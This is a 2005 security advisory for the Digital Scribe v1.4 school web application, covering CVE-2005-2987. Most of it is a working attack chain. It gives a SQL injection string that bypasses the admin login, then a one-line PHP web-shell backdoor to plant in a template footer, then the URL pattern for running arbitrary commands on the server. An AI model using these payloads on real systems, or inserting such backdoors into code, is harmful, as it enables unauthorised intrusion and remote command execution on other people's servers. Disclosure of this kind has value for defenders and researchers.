Bug: Digital Scribe v1.4 Login Bypass / SQL injection / remote code execution (WLB-2005090008 Ascii Version)

English Version
WLB2

CVE WLB2

 Topic: Digital Scribe v1.4 Login Bypass / SQL injection / remote code execution
 Credit: retrogod aliceposta it
 Date: 2005.09.17
 CWE: CWE-89 (Show similar)
 CVE: CVE-2005-2987 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References

Risk
Local
Remote
Medium
No
Yes

Digital Scribe v1.4 Login Bypass / SQL injection / remote code execution

software:

site: http://www.digital-scribe.org/

description: "Teachers have full control through a web-based interface. Designed
for easy installation and even easier use, the Digital Scribe has been used in
thousands of schools. No teacher or IT Personnel needs to know any computer
languages in order to install and use this intuitive system.

1) Login Bypass / SQL Injection ************************************************

login as admin typing:

login: " or isnull(1/0) /*
password: [whatever]

2) remote code execution *******************************************************
now you can edit template and leave a backdoor on target system:
at the end of the footer try this:

<?php error_reporting(0); system($HTTP_GET_VARS[cmd]); ?>

then you can launch commands:

http://[target]/[path_to_dscribe]/index.php?cmd=[some_command]

rgod
site: http://rgod.altervista.org
email: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/dscribe14.html
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